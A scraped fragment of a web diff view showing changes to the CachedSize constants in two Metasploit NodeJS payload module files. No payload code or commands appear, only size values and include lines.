CachedSize = 2351
|
CachedSize = 2239
|
||||||
|
|
||||||
include Msf::Payload::Single
|
include Msf::Payload::Single
|
||||||
include Msf::Payload::NodeJS
|
include Msf::Payload::NodeJS
|
||||||
|
|
|
@ -13,7 +13,7 @@ require 'msf/base/sessions/command_shell'
|
||||||
|
|
||||||
module MetasploitModule
|
module MetasploitModule
|
||||||
|
|
||||||
CachedSize = 583
|
CachedSize = 555
|
||||||
|
|
||||||
include Msf::Payload::Single
|
include Msf::Payload::Single
|
||||||
include Msf::Payload::NodeJS
|
include Msf::Payload::NodeJS
|
||||||
|
|
Loading…
Reference in New Issue